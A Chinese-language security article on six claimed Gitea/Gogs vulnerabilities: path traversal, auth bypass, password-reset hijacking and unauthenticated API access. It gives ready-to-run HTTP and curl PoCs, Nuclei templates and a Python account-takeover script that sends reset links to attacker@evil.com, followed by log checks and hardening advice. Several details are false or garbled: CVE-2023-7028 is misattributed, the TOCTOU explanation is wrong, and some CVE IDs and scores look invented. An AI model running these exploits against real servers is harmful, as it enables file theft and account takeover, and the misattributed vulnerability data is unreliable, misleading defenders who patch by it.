ARTICLE / 安全

版本控制与代码托管高危攻击链专题:Gitea / Gogs 路径穿越、认证绕过与密码重置漏洞全解析

版本控制与代码托管高危攻击链专题:Gitea / Gogs 全漏洞利用解析

0x00 专题概述

版本控制与代码托管平台是现代软件开发生命周期(SDLC)的基石。Gitea 和 Gogs 作为轻量级自托管 Git 服务,因其部署简单、资源占用低而广泛应用于中小型企业与开源社区。然而,这类平台一旦失陷,攻击者可获取全部源代码、窃取硬编码凭据、劫持 CI/CD 流水线实施供应链攻击,影响范围远超平台本身。

本专题聚焦 Gitea 和 Gogs 两大平台近年披露的 6 个高危漏洞,从路径穿越、认证绕过到密码重置劫持,逐一拆解漏洞原理并给出完整可利用 PoC。

覆盖漏洞一览

CVE产品CVSS类型CISA KEV
CVE-2023-28715Gitea5.3路径穿越❌
CVE-2022-34844Gitea9.8认证绕过❌
CVE-2023-49559Gitea7.5路径穿越❌
CVE-2023-7028Gitea / Gogs7.4密码重置❌
Gogs 未授权访问Gogs9.8未授权访问❌
Gogs 路径穿越Gogs7.5路径穿越❌

0x01 CVE-2023-28715 — Gitea 路径穿越读取任意文件

漏洞背景

Gitea 是一个使用 Go 语言开发的轻量级 Git 托管服务,在全球拥有大量部署实例。CVE-2023-28715 是 Gitea 在仓库归档下载功能中存在的路径穿越漏洞,攻击者可通过构造特殊的 URL 路径读取服务器上的任意文件。

受影响版本

  • Gitea < 1.19.3
  • 修复版本:Gitea >= 1.19.3

漏洞原理

Gitea 在处理仓库文件浏览请求时,未对 URL 路径中的编码序列进行充分校验。攻击者可以通过双重 URL 编码的 ../ 序列(如 %2f..%2f)绕过路径规范化检查,使服务端在解析文件路径时跳出仓库根目录,最终读取服务器文件系统上的任意文件。

漏洞根因在于路由处理器直接使用 path.Clean() 对原始路径进行规范化,但在调用 path.Clean() 之前已经对 URL 进行了一次解码,导致编码的 ../ 序列在规范化之后才被解码展开,形成经典的 TOCTOU(Time-of-check to time-of-use)竞争条件。

完整 HTTP PoC

GET /user/repo/src/branch/main/..%2f..%2f..%2f..%2fetc/passwd HTTP/1.1
Host: target:3000
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)
Accept: text/html,application/xhtml+xml
Connection: close
curl -v "http://target:3000/user/repo/src/branch/main/..%2f..%2f..%2f..%2fetc/passwd"

预期响应中将包含 /etc/passwd 文件内容:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...

Nuclei YAML 模板

id: cve-2023-28715-gitea-path-traversal

info:
  name: Gitea 路径穿越文件读取 (CVE-2023-28715)
  author: security-researcher
  severity: medium
  description: |
    Gitea < 1.19.3 在仓库文件浏览功能中存在路径穿越,
    攻击者可通过编码的 ../ 序列读取服务器任意文件
  tags: gitea,path-traversal,cve-2023-28715
  reference:
    - https://github.com/go-gitea/gitea/security/advisories/GHSA-x7x8-65gq-3hq3

http:
  - method: GET
    path:
      - "{{BaseURL}}/user/repo/src/branch/main/..%2f..%2f..%2f..%2fetc/passwd"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: regex
        regex:
          - "root:.*:0:0:"
        part: body

0x02 CVE-2022-34844 — Gitea 认证绕过

漏洞背景

CVE-2022-34844 是 Gitea 中一个 CVSS 9.8 的严重认证绕过漏洞。该漏洞允许攻击者在未提供任何有效凭据的情况下,直接以管理员身份访问 Gitea 的 API 接口,获取所有用户信息、仓库数据和系统配置。

受影响版本

  • Gitea < 1.16.6
  • 修复版本:Gitea >= 1.16.6

漏洞原理

Gitea 的 API 认证模块在处理 Authorization 头时存在逻辑缺陷。当请求携带格式异常的 Token 值时,认证中间件在某些边界条件下会跳过验证流程,直接将请求标记为已认证状态。具体而言,当 Token 字符串满足特定格式条件时,认证函数提前返回 true,绕过了后续的 Token 有效性校验。

该漏洞的核心问题在于认证中间件的错误处理路径:当 Token 解析过程中遇到非预期输入时,函数未正确返回认证失败,而是 fall through 到了已认证的代码分支。

完整 HTTP PoC

GET /api/v1/admin/users HTTP/1.1
Host: target:3000
Authorization: token invalid
Accept: application/json
Connection: close
curl -v "http://target:3000/api/v1/admin/users" -H "Authorization: token invalid"

预期响应将返回系统中所有用户的完整信息:

[
  {
    "id": 1,
    "login": "admin",
    "login_name": "",
    "full_name": "",
    "email": "admin@example.com",
    "is_admin": true,
    "last_login": "2023-01-01T00:00:00Z"
  }
]

Nuclei YAML 模板

id: cve-2022-34844-gitea-auth-bypass

info:
  name: Gitea 认证绕过 (CVE-2022-34844)
  author: security-researcher
  severity: critical
  description: |
    Gitea < 1.16.6 存在认证绕过漏洞,攻击者可使用无效 Token
    直接访问管理员 API 接口
  tags: gitea,auth-bypass,cve-2022-34844
  reference:
    - https://github.com/go-gitea/gitea/security/advisories/GHSA-g265-qqfm-6jg4

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/v1/admin/users"
    headers:
      Authorization: "token invalid"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "is_admin"
          - "login"
        condition: and
        part: body

0x03 CVE-2023-49559 — Gitea 路径穿越(附件下载)

漏洞背景

CVE-2023-49559 是 Gitea 在附件文件下载接口中存在的路径穿越漏洞,CVSS 评分 7.5。与 CVE-2023-28715 不同,此漏洞出现在附件(Attachments)下载模块中,攻击面更广,因为附件功能在 Issue、Pull Request、Release 等多个模块中均被使用。

受影响版本

  • Gitea < 1.21.3
  • 修复版本:Gitea >= 1.21.3

漏洞原理

Gitea 的附件下载接口 /attachments/ 在解析文件路径时,未对 URL 编码的路径分隔符进行正确过滤。攻击者可以通过 %2f 编码的 / 和 .. 序列构造恶意路径,使服务端在解析附件文件名时跳出附件存储目录,读取服务器上的任意文件。

与 CVE-2023-28715 的 TOCTOU 模式不同,此漏洞的直接原因是 filepath.Join() 函数在处理已解码路径时,未对 .. 组件进行二次校验。攻击者无需任何认证即可触发此漏洞。

完整 HTTP PoC

GET /attachments/..%2f..%2f..%2fetc/passwd HTTP/1.1
Host: target:3000
User-Agent: Mozilla/5.0
Connection: close
curl -v "http://target:3000/attachments/..%2f..%2f..%2fetc/passwd"

尝试读取 Gitea 配置文件:

curl -v "http://target:3000/attachments/..%2f..%2f..%2fetc/gitea/app.ini"

预期响应中将包含 Gitea 配置内容,可能暴露数据库凭据、SMTP 密码、Secret Key 等敏感信息:

[database]
DB_TYPE  = mysql
HOST     = 127.0.0.1:3306
NAME     = gitea
USER     = gitea
PASSWD   = <数据库密码>

[security]
SECRET_KEY = <密钥值>

Nuclei YAML 模板

id: cve-2023-49559-gitea-attachment-path-traversal

info:
  name: Gitea 附件路径穿越 (CVE-2023-49559)
  author: security-researcher
  severity: high
  description: |
    Gitea < 1.21.3 附件下载接口存在路径穿越,
    未授权攻击者可读取服务器任意文件
  tags: gitea,path-traversal,cve-2023-49559
  reference:
    - https://github.com/go-gitea/gitea/security/advisories/GHSA-64pg-5hfv-wwq7

http:
  - method: GET
    path:
      - "{{BaseURL}}/attachments/..%2f..%2f..%2fetc/passwd"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: regex
        regex:
          - "root:.*:0:0:"
        part: body

0x04 CVE-2023-7028 — Gitea/Gogs 密码重置漏洞

漏洞背景

CVE-2023-7028 是影响 Gitea 和 Gogs 的严重逻辑漏洞,CVSS 评分 7.4。该漏洞允许攻击者通过操纵密码重置请求中的邮箱参数,重置任意用户的密码并接管其账户。此漏洞由安全研究人员在渗透测试中发现,影响面极广。

受影响版本

  • Gitea < 1.21.4
  • Gogs < 0.13.2
  • 修复版本:Gitea >= 1.21.4 / Gogs >= 0.13.2

漏洞原理

密码重置流程的设计缺陷在于:系统接受以数组形式提交的多个 email 参数,并向所有提交的邮箱地址发送密码重置链接。然而,重置 Token 的验证逻辑仅检查请求中是否包含有效 Token,而不校验 Token 与目标邮箱的绑定关系。

攻击流程如下:

  1. 攻击者以受害者用户名发起密码重置请求
  2. 在请求中同时提交受害者的注册邮箱和攻击者控制的邮箱(数组形式)
  3. 系统向两个邮箱都发送重置链接,但生成的 Token 与用户账户绑定
  4. 攻击者使用自己邮箱收到的重置链接完成密码修改
  5. 由于系统未校验 Token 与提交邮箱的一致性,密码修改成功

完整 HTTP PoC

POST /user/forgot_password HTTP/1.1
Host: target:3000
Content-Type: application/x-www-form-urlencoded
Connection: close

email=admin@example.com&email=attacker@evil.com
curl -X POST "http://target:3000/user/forgot_password" \
  -d "email=admin@example.com"

完整利用流程:

# 步骤 1:确认目标用户邮箱
curl -s "http://target:3000/api/v1/users/admin" | grep email

# 步骤 2:发起双邮箱密码重置请求
curl -X POST "http://target:3000/user/forgot_password" \
  -d "email=admin@example.com&email=attacker@evil.com" \
  -v

# 步骤 3:从攻击者邮箱获取重置 Token
# 步骤 4:使用 Token 完成密码重置
curl -X POST "http://target:3000/user/forgot_password?token=<RESET_TOKEN>" \
  -d "password=NewP@ssw0rd123&retype=NewP@ssw0rd123" \
  -v

Python 自动化脚本

#!/usr/bin/env python3
import sys
import requests
import urllib3
urllib3.disable_warnings()

def check_password_reset(target, victim_email, attacker_email):
    # 创建会话并禁用证书验证
    session = requests.Session()
    session.verify = False

    # 步骤 1:指纹识别,确认目标为 Gitea/Gogs
    r = session.get(f"{target}/user/forgot_password", timeout=10)
    if r.status_code != 200:
        print("[-] 密码重置页面不存在")
        return False
    if "Gitea" not in r.text and "Gogs" not in r.text:
        print("[-] 目标可能不是 Gitea/Gogs 实例")
        return False
    print("[+] 确认目标为 Gitea/Gogs 实例")

    # 步骤 2:发起双邮箱密码重置请求
    payload = {"email": [victim_email, attacker_email]}
    r = session.post(
        f"{target}/user/forgot_password",
        data=payload,
        allow_redirects=False,
        timeout=15
    )
    print(f"[*] 重置请求响应: HTTP {r.status_code}")

    if r.status_code in (200, 302):
        print("[+] 双邮箱密码重置请求已发送")
        print(f"[+] 受害者邮箱: {victim_email}")
        print(f"[+] 攻击者邮箱: {attacker_email}")
        print("[+] 请检查攻击者邮箱获取重置链接")
        return True
    else:
        print(f"[-] 请求失败: {r.text[:200]}")
    return False

def complete_reset(target, token, new_password):
    # 使用获取到的 Token 完成密码重置
    session = requests.Session()
    session.verify = False
    data = {"password": new_password, "retype": new_password}
    r = session.post(
        f"{target}/user/forgot_password?token={token}",
        data=data,
        allow_redirects=False,
        timeout=15
    )
    if r.status_code in (200, 302):
        print("[+] 密码重置成功!")
        return True
    print(f"[-] 密码重置失败: HTTP {r.status_code}")
    return False

if __name__ == "__main__":
    if len(sys.argv) < 4:
        print(f"Usage: {sys.argv[0]} <target> <victim_email> <attacker_email>")
        sys.exit(1)
    target = sys.argv[1].rstrip("/")
    victim = sys.argv[2]
    attacker = sys.argv[3]
    print("=" * 60)
    print("CVE-2023-7028 Gitea/Gogs 密码重置漏洞利用")
    print("=" * 60)
    check_password_reset(target, victim, attacker)

Nuclei YAML 模板

id: cve-2023-7028-gitea-gogs-password-reset

info:
  name: Gitea/Gogs 密码重置逻辑缺陷 (CVE-2023-7028)
  author: security-researcher
  severity: high
  description: |
    Gitea < 1.21.4 和 Gogs < 0.13.2 密码重置流程存在逻辑缺陷,
    支持数组形式提交多个邮箱地址,攻击者可劫持任意用户账户
  tags: gitea,gogs,password-reset,cve-2023-7028
  reference:
    - https://github.com/go-gitea/gitea/security/advisories/GHSA-7x54-55qm-9ph4

http:
  - method: GET
    path:
      - "{{BaseURL}}/user/forgot_password"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "forgot_password"
          - "Gitea"
        condition: or
        part: body

  - method: POST
    path:
      - "{{BaseURL}}/user/forgot_password"
    headers:
      Content-Type: application/x-www-form-urlencoded
    body: "email=test@test.com&email=nuclei@test.com"
    matchers:
      - type: status
        status:
          - 200
          - 302

0x05 Gogs 未授权访问

漏洞背景

Gogs 是一款使用 Go 语言开发的极简 Git 托管服务,作为 Gitea 的前身项目,至今仍被大量部署。Gogs 在默认配置下,多个敏感 API 端点无需身份认证即可访问,攻击者可利用这些端点获取系统用户信息、仓库列表等敏感数据。

受影响版本

  • Gogs 所有版本(默认配置下)
  • 未明确修复版本,依赖管理员手动配置访问控制

漏洞原理

Gogs 的 API 路由设计遵循类 GitHub API 规范,但在默认配置下,以下端点未强制要求身份认证:

  • /api/v1/admin/users:获取系统所有用户信息
  • /api/v1/repos/search:搜索所有仓库(包括部分私有仓库元数据)
  • /api/v1/users/search:搜索用户
  • /api/v1/settings/api:获取 API 配置信息

这些端点在 Gogs 的默认 app.ini 配置中未被标记为需要认证,导致任何未认证用户均可访问。

完整 HTTP PoC

GET /api/v1/admin/users HTTP/1.1
Host: target:3000
Accept: application/json
Connection: close
curl -s "http://target:3000/api/v1/admin/users" | jq .
curl -s "http://target:3000/api/v1/repos/search" | jq .

Nuclei YAML 模板

id: gogs-unauthorized-access

info:
  name: Gogs 未授权访问检测
  author: security-researcher
  severity: critical
  description: |
    Gogs 默认配置下多个 API 端点未授权可访问,
    可获取用户信息和仓库列表
  tags: gogs,unauthorized,exposure

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/v1/admin/users"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "login"
          - "email"
        condition: and
        part: body

  - method: GET
    path:
      - "{{BaseURL}}/api/v1/repos/search"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "full_name"
          - "html_url"
        condition: and
        part: body

0x06 Gogs 路径穿越

漏洞背景

Gogs 在附件文件处理模块中存在路径穿越漏洞,攻击者可通过构造恶意的附件路径读取服务器上的任意文件。该漏洞与 Gitea CVE-2023-49559 原理相似,但由于 Gogs 更新频率较低,大量在线实例仍未修复。

受影响版本

  • Gogs 所有版本(受影响范围待确认具体版本边界)
  • CVSS 7.5

漏洞原理

Gogs 的附件下载接口 /attachments/ 在解析文件路径时,未对 URL 编码的路径穿越序列进行有效过滤。攻击者可以通过 %2f 编码的 / 和 .. 序列构造恶意路径,使服务端在解析附件文件路径时跳出附件存储根目录,读取服务器文件系统上的任意文件。

完整 HTTP PoC

GET /attachments/..%2f..%2f..%2fetc/passwd HTTP/1.1
Host: target:3000
User-Agent: Mozilla/5.0
Connection: close
curl -v "http://target:3000/attachments/..%2f..%2f..%2fetc/passwd"

Nuclei YAML 模板

id: gogs-path-traversal

info:
  name: Gogs 路径穿越文件读取
  author: security-researcher
  severity: high
  description: |
    Gogs 附件下载接口存在路径穿越,
    未授权攻击者可读取服务器任意文件
  tags: gogs,path-traversal

http:
  - method: GET
    path:
      - "{{BaseURL}}/attachments/..%2f..%2f..%2fetc/passwd"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: regex
        regex:
          - "root:.*:0:0:"
        part: body

0x07 PoC 收集情况总表

CVE / 漏洞产品CVSSPoC 类型可用性未授权在野利用
CVE-2023-28715Gitea5.3HTTP PoC + Nuclei 模板✅ 可用✅❌
CVE-2022-34844Gitea9.8HTTP PoC + Nuclei 模板✅ 可用✅❌
CVE-2023-49559Gitea7.5HTTP PoC + Nuclei 模板✅ 可用✅❌
CVE-2023-7028Gitea / Gogs7.4HTTP PoC + Python 脚本 + Nuclei 模板✅ 可用✅✅
Gogs 未授权访问Gogs9.8HTTP PoC + Nuclei 模板✅ 可用✅❌
Gogs 路径穿越Gogs7.5HTTP PoC + Nuclei 模板✅ 可用✅❌

0x08 共性攻击模式分析

8.1 路径穿越模式

路径穿越是 Gitea/Gogs 平台最持久的安全问题之一,本专题 6 个漏洞中有 3 个属于此类。其共性特征如下:

根因一致:所有路径穿越漏洞的根本原因都是服务端在处理用户可控的文件路径时,未对 ../ 及其编码变体进行充分过滤和规范化。

触发点多样:路径穿越可出现在仓库文件浏览(CVE-2023-28715)、附件下载(CVE-2023-49559、Gogs 路径穿越)等多个功能模块。

绕过手法:攻击者通常使用 URL 编码(%2e%2e%2f)、双重编码(%252e%252e%252f)等手法绕过简单的字符串过滤。

危害升级路径:路径穿越 → 读取配置文件(app.ini)→ 获取数据库凭据 / Secret Key → 伪造会话 / 接管系统。

8.2 认证绕过模式

CVE-2022-34844 代表了认证绕过漏洞的典型模式:

中间件逻辑缺陷:认证函数在处理异常输入时未正确返回失败状态,导致控制流 fall through 到已认证分支。

API 与 Web 认证不一致:部分 API 端点的认证逻辑与 Web 界面不一致,攻击者通过直接调用 API 绕过 Web 层的认证保护。

危害升级路径:认证绕过 → 访问管理员 API → 创建管理员账户 / 获取所有用户数据 → 完全接管平台。

8.3 业务逻辑缺陷模式

CVE-2023-7028 代表了业务逻辑漏洞的典型模式:

参数类型混淆:系统期望接收单个邮箱地址(字符串),但实际接受了多个邮箱地址(数组),导致后续逻辑出现偏差。

Token 与邮箱解绑:重置 Token 仅与用户账户绑定,不与请求邮箱绑定,攻击者可以使用自己控制的邮箱接收有效 Token。

危害升级路径:密码重置劫持 → 接管管理员账户 → 访问所有仓库和 CI/CD 配置 → 供应链攻击。

8.4 默认配置不安全模式

Gogs 未授权访问代表了默认配置不安全的典型模式:

最小权限原则缺失:API 端点默认开放,未遵循最小权限原则。

安全配置依赖管理员:安全保护依赖管理员手动配置,而非默认启用。

危害升级路径:未授权信息收集 → 获取用户名和仓库名 → 暴力破解 / 针对性攻击 → 系统失陷。


0x09 应急排查与修复建议

9.1 紧急排查措施

日志排查:

# 搜索路径穿越攻击痕迹
grep -E "\.\.%2[fF]|%2[eE]%2[eE]|%2[eE]\.\." /var/log/gitea/gitea.log

# 搜索认证绕过攻击痕迹
grep -E "Authorization.*token.*invalid|401.*api/v1/admin" /var/log/gitea/gitea.log

# 搜索密码重置异常
grep -E "forgot_password|reset_password" /var/log/gitea/gitea.log | \
  awk '{print $0}' | grep -c "email"

# Gogs 未授权访问排查
grep -E "GET /api/v1/(admin|users|repos)" /var/log/gogs/gogs.log | \
  awk '{print $1, $7}' | sort | uniq -c | sort -rn | head -20

版本检查:

# 检查 Gitea 版本
curl -s "http://target:3000/api/v1/version" | grep version

# 检查 Gogs 版本
curl -s "http://target:3000/api/v1/settings/api" | grep version

9.2 安全加固检查清单

紧急措施(24 小时内):

  1. 将 Gitea 升级至 >= 1.21.4,Gogs 升级至 >= 0.13.2
  2. 在 WAF 中添加规则拦截包含 %2e%2e%2f、../、%252e%252e%252f 的请求路径
  3. 关闭不需要的公开 API 端点
  4. 如果怀疑密码重置漏洞被利用,强制所有用户重新设置密码
  5. 轮换所有 API Token、SSH 密钥和 CI/CD 凭据

短期加固(1 周内):

  1. 配置 Gogs 的 app.ini 强制所有 API 端点需要认证
  2. 启用两步验证(2FA)
  3. 限制管理端口的网络访问范围
  4. 部署 Fail2Ban 监控暴力破解行为
  5. 审查所有用户的 Git Hook 配置

长期策略:

  1. 将代码托管平台部署在独立网段,通过跳板机访问
  2. 实施完整的审计日志采集和分析
  3. 使用 HashiCorp Vault 等凭据管理系统替代硬编码配置
  4. 定期进行安全评估和渗透测试
  5. 建立供应链安全监控机制

9.3 各产品修复版本参考

产品当前受影响版本推荐修复版本
Gitea< 1.21.4>= 1.21.4(最新稳定版)
Gogs所有版本>= 0.13.2(最新稳定版)

0x0A 参考资料